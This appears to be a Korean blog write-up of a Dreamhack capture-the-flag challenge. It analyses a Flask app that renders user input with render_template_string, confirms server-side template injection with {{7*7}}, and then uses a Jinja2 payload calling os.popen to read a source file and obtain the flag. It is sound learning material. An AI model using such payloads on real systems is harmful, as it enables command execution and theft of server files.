반응형
문제 설명
server side를 연습해봐요!
코드 분석
usr / app.py
@app.route('/', methods=['GET', 'POST'])
def index():
if request.method == 'POST':
user_input = request.form.get('input', '')
template = f'''
<h1>Output:</h1>
{{ {{% raw %}} {{ {user_input} }} {{% endraw %}} }}
<form method="POST">
Input: <input type="text" name="input" value="{user_input}">
<input type="submit" value="Render">
</form>
'''
return render_template_string(template, config=app.config)
return '''
<form method="POST">
Input: <input type="text" name="input">
<input type="submit" value="Render">
</form>
'''
- user_input은 이용자로부터 입력받음
- 입력한 값이 그대로 다시 input에 출력됨
- 입력값에 대한 검증/필터링하지 않고 그대로 템플릿에 넣는다.
admin / admin.py
@app.route('/auth', methods=['POST'])
def auth():
data = request.get_json() or request.form.to_dict()
if data.get('user') == 'admin' and data.get('pass') == 'admin':
return {'success': True, 'flag': FLAG}
return {'error': 'Invalid'}
- JSON 바디가 있으면 그걸 쓰고, 없으면 폼 데이터(POST form)를 딕셔너리로 받음
- user랑 pass가 admin이면 통과하고 FLAG 반환
취약점 분석
- 입력 값 검증을 안 함 SSTI 가능성
사용자 입력(user_input)을 템플릿 문자열에 직접 삽입하고 render_template_string으로 렌더링함
익스플로잇
먼저 SSTI 가능한지 {{7*7}}을 삽입해 봄

49가 입력값에 출력되는 것을 보니 SSTI 가능
따라서 아래와 같이 입력해 줌
{{ cycler.__init__.__globals__.os.popen('cat admin/admin.py').read() }}
from flask import Flask, requestapp = Flask('internal')
FLAG = "DH{1f3fa07521dafa1798ed4f66baf7187118a898df0b367e2784967f076eadf3a2}"
@app.route('/auth', methods=['POST'])
def auth():
data = request.get_json() or request.form.to_dict()
if data.get('user') == 'admin' and data.get('pass') == 'admin':
return {'success': True, 'flag': FLAG}
return {'error': 'Invalid'}if __name__ == '__main__': app.run(host='127.0.0.1', port=5001, debug=False)
플래그 획득
반응형
'Dreamhack 워게임 > Lv.1' 카테고리의 다른 글
| error based sql injection (0) | 2026.02.03 |
|---|---|
| easy client side (0) | 2026.02.03 |
| php-1 (0) | 2026.02.02 |
| image-storage (0) | 2026.02.02 |
| simple-ssti (0) | 2026.01.30 |